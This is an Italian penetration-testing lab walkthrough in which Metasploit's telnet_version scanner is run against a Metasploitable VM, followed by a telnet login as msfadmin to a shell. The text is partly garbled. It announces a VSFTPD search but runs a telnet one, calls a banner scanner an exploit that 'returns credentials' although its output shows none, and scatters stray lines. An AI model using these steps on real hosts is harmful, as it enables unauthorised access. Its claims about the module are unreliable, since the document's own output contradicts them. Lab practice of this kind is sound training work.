

Avviamo la msconsole con l'omonimo comando, cerchiamo gli exploit che riguardino VSFTPD con il comando `search telnet_version`, andiamo ad usarlo con `use 1` (o il path), per poi vedere le opzioni settabili per l'attacco.

settiamo l'host da attaccare con `set RHOSTS`

```
3Kom SuperHack II Logon

User Name: [ security ]
Password: [ ]

[ OK ]

https://metasploit.com

--=[ metasploit v6.3.4-dev ]
--=[ 2294 exploits - 1201 auxiliary - 409 post ]
--=[ 968 payloads - 45 encoders - 11 nops ]
--=[ 9 evasion ]

metasploit tip: Use the analyze command to suggest
runnable modules for hosts
metasploit Documentation: https://docs.metasploit.com/

msf6 > search telnet_version

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
--  -
0  auxiliary/scanner/telnet/lantronix_telnet_version  normal  No  Lantronix Telnet Service Banner Detection
1  auxiliary/scanner/telnet/telnet_version          normal  No  Telnet Service Banner Detection

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/telnet/telnet_version

msf6 > use 1
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

Name      Current Setting  Required  Description
--      -
PASSWORD  no              yes       The password for the specified username
RHOSTS    yes             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     23             yes       The target port (TCP)
THREADS   1              yes       The number of concurrent threads (max one per host)
TIMEOUT   30             yes       Timeout for the Telnet probe
USERNAME  no              no        The username to authenticate as

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.50.100
```

Avviamo l'exploit con il comando `exploit`

Vedremo, dopo che la connessione e' stata stabilita, vengono restituite le credenziali per l'accesso a telnet

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[*] 192.168.50.100:23 - 192.168.50.100:23 TELNET
[*] 192.168.50.100:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf6 auxiliary(scanner/telnet/telnet_version) >
```

Non ci rimane che sfruttare la vulnerabilita' collegandoci a metasploitable con telnet ed usare le credenziali resituite dall'exploit

Contact: [msfdev\[at\]metasploit.com](mailto:msfdev[at]metasploit.com)

```
metasploitable login: msfadmin
Password:
Last login: Thu Aug 31 12:17:41 EDT 2023 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
```

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```